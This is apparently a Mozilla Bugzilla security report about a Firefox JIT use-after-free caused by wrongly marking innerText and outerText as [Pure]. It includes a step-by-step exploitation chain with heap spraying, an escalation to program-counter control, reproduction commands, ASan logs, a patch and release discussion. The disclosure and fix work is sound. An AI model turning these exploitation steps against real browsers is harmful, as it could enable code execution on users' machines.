HTMLElement.innerText and outerText are marked [Pure] but can run script via MozScrolledAreaChanged
Categories
(Core :: DOM: Core & HTML, defect)
Tracking
()
People
(Reporter: deayzl, Assigned: smaug)
References
Details
(Keywords: csectype-jit, reporter-external, sec-high, Whiteboard: [client-bounty-form][adv-main152+][adv-esr115.37+][adv-esr140.12+])
Attachments
(5 files, 2 external files)
Summary
- Optimized JIT code hoists a typed-array backing-store pointer across an
HTMLElement.innerTextgetter. innerTextflushes layout and dispatchesMozScrolledAreaChanged.- The event handler runs script and calls
ab.transfer(0)on an XHR-backedArrayBuffer. - The original 2048-byte ArrayBuffer backing allocation is freed.
- A canvas
setLineDash()spray reclaims that same heap address as annsTArray<gfx::Float>buffer. - The optimized loop resumes and performs the stale typed-array store into the reclaimed allocation.
- The stale write overwrites the
nsTArrayHeaderwith0x4141414141414141. getLineDash()later trusts the corruptedmLengthand reads past the real 2048-byte allocation, producing ASANheap-buffer-overflow.
Reproduction
testd commit version: 0e1add40350764cc84e5d7e2e2ee94906c7d2734
build firefox with:
mk_add_options MOZ_OBJDIR=/home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser
ac_add_options --enable-project=browser
ac_add_options --enable-address-sanitizer
ac_add_options --disable-install-strip
ac_add_options --disable-jemalloc
ac_add_options --disable-crashreporter
ac_add_options --disable-profiling
# Keep stack use reasonable while retaining useful line information.
ac_add_options --enable-optimize="-O1"
ac_add_options --enable-debug-symbols=-gline-tables-only
# Optional but useful for GC-sensitive SpiderMonkey reproduction work.
ac_add_options --enable-gczeal
prepare server with attached html:
truncate -s 2048 payload.bin
python3 -m http.server 8765 --bind 127.0.0.1
make firefox render:
ASAN_OPTIONS='quarantine_size_mb=0' /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/bin/firefox 'http://127.0.0.1:8765/firefox-innertext-xhr-canvas-dash-uaf.html?warmup=2200&warmupIters=20&attempts=20&triggerIters=120&payloadSize=2048&dashLength=510&sprayCanvases=8000&getDashStride=1' > asan.log 2>&1
Result:
REPRO_STATUS mode=xhr-canvas-dash-uaf
REPRO payloadSize=2048
REPRO dashLength=510
REPRO preTouch=false
REPRO warming calls=2200 iters=20
REPRO warmup 250/2200
REPRO warmup 500/2200
REPRO warmup 750/2200
REPRO warmup 1000/2200
REPRO warmup 1250/2200
REPRO warmup 1500/2200
REPRO warmup 1750/2200
REPRO warmup 2000/2200
REPRO warmup done
REPRO starting attempts=20 sprayCanvases=8000
REPRO_XHR status=200 bytes=2048
=================================================================
==1187140==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x708feed95680 at pc 0x6ebfdaa3bcbe bp 0x7fff35789e60 sp 0x7fff35789e58
READ of size 4 at 0x708feed95680 thread T0 (Isolated Web Co)
/home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
#0 0x6ebfdaa3bcbd in Construct<const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:554:36
#1 0x6ebfdaa3bcbd in AppendElementInternal<nsTArrayInfallibleAllocator, const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:2587:3
#2 0x6ebfdaa3bcbd in AppendElement<const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:2717:24
#3 0x6ebfdaa3bcbd in mozilla::dom::CanvasRenderingContext2D::GetLineDash(nsTArray<double>&) const [...]firefox/dom/canvas/CanvasRenderingContext2D.cpp:5514:15
#4 0x6ebfda25a7f8 in mozilla::dom::CanvasRenderingContext2D_Binding::getLineDash(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) [...]/dom/bindings/CanvasRenderingContext2DBinding.cpp:6347:24
#5 0x6ebfda8460c5 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) [...]dom/bindings/BindingUtils.cpp:3217:13
#6 0x6ebfe3cc2d20 in CallJSNative /home/slave/firefox-bug-bounty/firefox/js/src/vm/Interpreter.cpp:498:13
...
0x708feed95680 is located 0 bytes after 2048-byte region [0x708feed94e80,0x708feed95680)
allocated by thread T0 (Isolated Web Co) here:
#0 0x634ce9eeb7ec in realloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:81:3
#1 0x6ebfd3b3f23d in Realloc /home/slave/firefox-bug-bounty/
...
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:554:36 in Construct<const float &>
Shadow bytes around the buggy address:
0x708feed95400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x708feed95680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x708feed95880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x708feed95900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1187140==ABORTING
[Parent 1186885, IPC I/O Parent] WARNING: process 1187140 exited with status 1: file firefox/ipc/chromium/src/chrome/common/process_watcher_posix_sigchld.cc:155
| Reporter | ||
Comment 1•5 months ago
|
||
Updated•5 months ago
|
Comment 2•5 months ago
|
||
Jan, it sounds like maybe this is a problem with a JIT optimization and not the canvas 2d code? Or should I move it elsewhere. Thanks.
Comment 3•5 months ago
|
||
(I've edited comment 0 to add 4 more frames to the ASan stack for clarity.)
Comment 4•5 months ago
|
||
(In reply to Hyeonjun Ahn [:deayzl] from comment #0)
- Optimized JIT code hoists a typed-array backing-store pointer across an
HTMLElement.innerTextgetter.
Assuming that the writeup is accurate, this is the bug. We should not be able to do this. Looking at the JSJitInfo that the DOM provides for HTMLElement.innerText, its alias set is JSJitInfo::AliasDOMSets, which implies that it has no side-effects (and that its value can only be changed by changing something in the DOM). If it can trigger a callback that runs arbitrary code (here, MozScrolledAreaChanged), then it should instead have JSJitInfo::AliasEverything.
I'm not an expert on how webidl turns into JSJitInfo, but cross-referencing some other getters with the same alias set, it looks the Pure annotation is to blame here.
Comment 5•5 months ago
|
||
Okay, great. I guess a bad annotation for innerText would make this more of a DOM issue then.
Comment 6•5 months ago
|
||
Clearing the NI since Iain already looked at this.
| Reporter | ||
Comment 7•5 months ago
|
||
| Reporter | ||
Comment 8•5 months ago
|
||
| Reporter | ||
Comment 9•5 months ago
|
||
The [Pure] of outerText is also problematic, so heap-buffer-overflow is reproducible using it.
ASAN_OPTIONS='quarantine_size_mb=0' \
/home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/bin/firefox \
'http://127.0.0.1:8765/firefox-outertext-xhr-canvas-dash-uaf.html?warmup=2200&warmupIters=20&attempts=20&triggerIters=1&payloadSize=2048&dashLength=510&sprayCanvases=8000&getDashStride=1&p
reTouch=1'
Result:
=================================================================
==3587411==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x791c399a0a80 at pc 0x774c2543bcbe bp 0x7ffd56fddc20 sp 0x7ffd56fddc18
READ of size 4 at 0x791c399a0a80 thread T0 (Isolated Web Co)
#0 0x774c2543bcbd in Construct<const float &> /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/include/nsTArray.h:554:36
...
#37 0x774c22f8c9ae in mozilla::dom::Document::FlushPendingNotifications(mozilla::ChangesToFlush) /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dom/base/./../../../firefox/dom/base/Document.cpp:11635:16
#38 0x774c267406b9 in nsGenericHTMLElement::GetInnerText(mozilla::dom::DOMString&, mozilla::ErrorResult&) /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dom/html/./../../../firefox/dom/html/nsGenericHTMLElement.cpp:3393:10
#39 0x774c235d6c82 in GetOuterText /home/slave/firefox-bug-bounty/firefox/dom/html/nsGenericHTMLElement.h:270:12
#40 0x774c235d6c82 in mozilla::dom::HTMLElement_Binding::get_outerText(JSContext*, JS::Handle<JSObject*>, void*, JSJitGetterCallArgs) /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dom/bindings/./HTMLElementBinding.cpp:1387:24
#41 0x352de352eef8 ([anon:js-executable-memory]+0x10ef8)
#42 0x352de34fe3bd ([anon:js-executable-memory]+0x3bd)
#43 0x774c2e4d9cc8 in EnterJit /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/js/src/jit/./../../../../firefox/js/src/jit/Jit.cpp:105:5
#44 0x774c2e4d9cc8 in js::jit::MaybeEnterJit(JSContext*, js::RunState&) /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/js/src/jit/./../../../../firefox/js/src/jit/Jit.cpp:253:10
(you can see mozilla::dom::HTMLElement_Binding::get_outerText in attached asan-outertext-canvas-dash.log)
So I applied below patch, and both htmls that i attached did not reproduce the bug.
diff --git a/dom/webidl/HTMLElement.webidl b/dom/webidl/HTMLElement.webidl
index 034aa0de194f..e5d4fea347ee 100644
--- a/dom/webidl/HTMLElement.webidl
+++ b/dom/webidl/HTMLElement.webidl
@@ -25,9 +25,9 @@ interface HTMLElement : Element {
[CEReactions, SetterThrows, Pure]
attribute DOMString dir;
- [CEReactions, GetterThrows, Pure]
+ [CEReactions, GetterThrows]
attribute [LegacyNullToEmptyString] DOMString innerText;
- [CEReactions, GetterThrows, SetterThrows, Pure]
+ [CEReactions, GetterThrows, SetterThrows]
attribute [LegacyNullToEmptyString] DOMString outerText;
// user interaction
Comment 10•5 months ago
|
||
I don't understand how they can be "Pure" which translates to Affects=Nothing. That can't be true?
Olli, do you remember the background behind bug 923913, other than "it's faster that way"?
| Reporter | ||
Comment 11•5 months ago
|
||
| Reporter | ||
Comment 12•5 months ago
|
||
For confirming its highest impact, here's a reproducer for pc control.
- The optimized loop reads generic HTMLElement.innerText.
- The same loop performs an in-bounds typed-array store.
- Warmup compiles the loop.
- After warmup, the script makes the descendant of the same div dirty by
child.style.height = (230000 + index) + "px";. - The large child height changes the scroll area during
GetInnerText’s flush, so the layout flush dispatchesMozScrolledAreaChanged. - The event handler detaches the buffer and
makeListBucket()sprays new datalist elements and accesses eachdl.optionsto reclaim the freed ArrayBuffer backing-store asContentListobject. - The stale typed-array store overwrites
ContentList::mFuncwith 0x414141414141 at offset 240, thenoptions.lengthtriggersContentList::Match()which executesreturn (*mFunc)(aElement, mMatchNameSpaceId, mXMLMatchAtom, mData);.
ASAN_OPTIONS='quarantine_size_mb=0' /home/slave/firefox-bug-bounty/obj-x86_64-pc-linux-gnu-asan-browser/dist/bin/firefox 'http://127.0.0.1:8765/firefox-innertext-xhr-datalist-mfunc-call.html?payload=payload-280.bin?x=1&warmup=2200&warmupIters=20&attempts=40&triggerIters=120&payloadSize=280&sprayLists=12000&writeIndex=30&callTarget=0x0000414141414141&preTouch=1' > pc-control.log 2>&1
Result:
...
REPRO warmup 2000/2200
REPRO warmup done
REPRO starting attempts=40
REPRO_XHR status=200 bytes=280
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3940175==ERROR: AddressSanitizer: SEGV on unknown address 0x414141414141 (pc 0x414141414141 bp 0x7ffcc2d22db0 sp 0x7ffcc2d22d78 T0)
==3940175==The signal is caused by a READ memory access.
AddressSanitizer:DEADLYSIGNAL
AddressSanitizer: nested bug in the same thread, aborting.
[Parent 3939949, IPC I/O Parent] WARNING: process 3940175 exited with status 1: file firefox/ipc/chromium/src/chrome/common/process_watcher_posix_sigchld.cc:155
| Assignee | ||
Comment 13•5 months ago
•
|
||
(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #10)
I don't understand how they can be "Pure" which translates to
Affects=Nothing. That can't be true?Olli, do you remember the background behind bug 923913, other than "it's faster that way"?
This is not about innerHTML, but innerText. They are quite different beasts.
innerHTML should be fine
| Assignee | ||
Updated•5 months ago
|
Comment 14•5 months ago
|
||
And innetHTML is "purer" than innerText? 🤔 Still confused
| Assignee | ||
Comment 15•5 months ago
|
||
innerHTML getter just stringifies DOM.
Comment 16•5 months ago
|
||
I haven't verified this yet, but it sounds plausible, so I'll mark it sec-high. I think the underlying issue here is around JIT optimization, so I'll change it to csectype-jit although this is more of a misrepresentation by DOM code than the fault of the actual JIT.
| Assignee | ||
Comment 17•5 months ago
|
||
I'm still trying to reproduce this. No luck with my normal asan build, but perhaps gczeal is needed.
Comment 18•5 months ago
|
||
(In reply to Olli Pettay [:smaug][bugs@pettay.fi] from comment #17)
I'm still trying to reproduce this. No luck with my normal asan build, but perhaps gczeal is needed.
I haven't tried to reproduce this but make sure the loop runs for at least a few thousand iterations, to hit Ion. javascript.options.ion.offthread_compilation = false might also help.
| Assignee | ||
Comment 19•5 months ago
|
||
with that and ASAN_OPTIONS='quarantine_size_mb=0' I managed to reproduce. And removing Pure helps as expected.
Updated•5 months ago
|
Updated•5 months ago
|
Comment 20•5 months ago
|
||
I added JS::AutoAssertNoGC nogc; to the start of nsGenericHTMLElement::GetInnerText and it fires off when we are creating the reflector for MozScrolledAreaChanged, which can give you a sense of how we're running content JS. That's not exactly the invariant we probably would want, but there's a JS::Call later on in HandleEvent. Here's an excerpt from that stack:
#11 0x000133758604 in mozilla::dom::EventListener::HandleEvent(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&)
#18 0x0001397fa5a8 in mozilla::ScrollContainerFrame::FireScrolledAreaEvent()
#19 0x0001397fa2c0 in mozilla::ScrollContainerFrame::ScrolledAreaEvent::Run()
#20 0x000131625a68 in nsContentUtils::RemoveScriptBlocker()
#21 0x000139638ab4 in mozilla::PresShell::ProcessReflowCommands(bool)
#22 0x00013960f184 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush)
#23 0x000131aac778 in mozilla::dom::Document::FlushPendingNotifications(mozilla::ChangesToFlush)
#24 0x000134e2f444 in nsGenericHTMLElement::GetInnerText(mozilla::dom::DOMString&, mozilla::ErrorResult&)
#25 0x0001321d6cb4 in mozilla::dom::HTMLElement_Binding::get_innerText(JSContext*, JS::Handle<JSObject*>, void*, JSJitGetterCallArgs)
| Assignee | ||
Comment 21•5 months ago
|
||
Comment 22•5 months ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #20)
I added
JS::AutoAssertNoGC nogc;to the start ofnsGenericHTMLElement::GetInnerTextand it fires off when we are creating the reflector forMozScrolledAreaChanged, which can give you a sense of how we're running content JS. That's not exactly the invariant we probably would want, but there's aJS::Calllater on inHandleEvent. Here's an excerpt from that stack:
Can event dispatch run JS code? This is from an older build, but I see things like this (which uses gfx::VRManager, so perhaps not too relevant):
mozilla::ScrollContainerFrame::FireScrolledAreaEvent()
mozilla::EventDispatcher::Dispatch(mozilla::dom::EventTarget*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, uint32*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*)
mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&)
mozilla::EventTargetChainItem::PostHandleEvent(mozilla::EventChainPostVisitor&)
mozilla::dom::EventTarget.PostHandleEvent:0
nsGlobalWindowInner.PostHandleEvent:0
nsGlobalWindowInner::PostHandleEvent(mozilla::EventChainPostVisitor&)
mozilla::dom::VREventObserver::NotifyAfterLoad()
mozilla::gfx::VRManagerChild::FireDOMVRDisplayConnectEventsForLoad(mozilla::gfx::VRManagerEventObserver*)
nsContentUtils::AddScriptRunner(already_AddRefed<nsIRunnable>)
nsIRunnable.Run:0
(js-code)
or if you don't like the VR stuff:
mozilla::ScrollContainerFrame::FireScrolledAreaEvent()
mozilla::EventDispatcher::Dispatch(mozilla::dom::EventTarget*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, uint32*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*)
mozilla::dom::PerformanceMainThread* nsPresContext::GetPerformanceMainThread() const
mozilla::dom::Performance* nsPIDOMWindowInner::GetPerformance()
nsPIDOMWindowInner::CreatePerformanceObjectIfNeeded()
mozilla::dom::Performance::CreateForMainThread(nsPIDOMWindowInner*, nsIPrincipal*, nsDOMNavigationTiming*, nsITimedChannel*)
mozilla::dom::PerformanceMainThread::PerformanceMainThread(nsPIDOMWindowInner*, nsDOMNavigationTiming*, nsITimedChannel*)
_ZN7mozilla3dom21PerformanceMainThreadC4EP18nsPIDOMWindowInnerP21nsDOMNavigationTimingP15nsITimedChannel
mozilla::dom::PerformanceMainThread::CreateNavigationTimingEntry()
PerformanceMainThread.cpp:void mozilla::dom::{anonymous}::GetURLSpecFromChannel(nsITimedChannel*, const nsTSubstring<char16_t>&)
nsIChannel.GetURI:0
(js-code)
(but this is from the hazard analysis, which is excessively conservative about such things in Gecko code.)
Comment 23•5 months ago
|
||
(In reply to Steve Fink [:sfink] [:s:] from comment #22)
Can event dispatch run JS code?
Yes as it triggers event listeners which are JS functions.
| Assignee | ||
Updated•5 months ago
|
| Assignee | ||
Comment 24•5 months ago
|
||
Comment on attachment 9591549 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: I think it is not very obvious
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: I think backports are the same patch except excluding the EditContext part (an API which isn't shipping yet anywhere)
- How likely is this patch to cause regressions; how much testing does it need?: If this causes regressions, those should be performance issues. Possible, but not very likely.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•5 months ago
|
Updated•5 months ago
|
| Assignee | ||
Comment 25•5 months ago
|
||
The initial patch applies cleanly to beta.
esr140/115 need another patch.
| Assignee | ||
Comment 26•5 months ago
|
||
Comment 27•5 months ago
|
||
Comment 28•5 months ago
|
||
Comment 29•5 months ago
|
||
The patch landed in nightly and beta is affected.
:smaug, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox152towontfix.
For more information, please visit BugBot documentation.
Updated•5 months ago
|
Updated•5 months ago
|
| Assignee | ||
Updated•5 months ago
|
| Assignee | ||
Comment 30•5 months ago
|
||
Comment on attachment 9592700 [details]
(secure)
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined: Unsafe crashes
- Fix Landed on Version: 153
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): This removes couple of JIT<->DOM optimizations
| Assignee | ||
Comment 32•5 months ago
|
||
Comment on attachment 9591549 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: Unsafe crashes
- Is this code covered by automated tests?: No
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce: Use ASAN build
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Removing some JIT<->DOM optimizations
- String changes made/needed: NA
- Is Android affected?: Yes
Comment 33•5 months ago
|
||
Comment on attachment 9591549 [details]
(secure)
Approved for 152.0b8.
Updated•5 months ago
|
Comment 34•5 months ago
|
||
| uplift | ||
Comment 35•5 months ago
|
||
Comment on attachment 9592700 [details]
(secure)
Approved for 140.12esr and 115.37esr.
Updated•5 months ago
|
Comment 36•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Comment 37•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•1 month ago
|
Comment 38•27 days ago
|
||
FWIW bug 2079865 unshipped the MozScrolledAreaChanged event. There are probably other ways to run script tho.
Description
•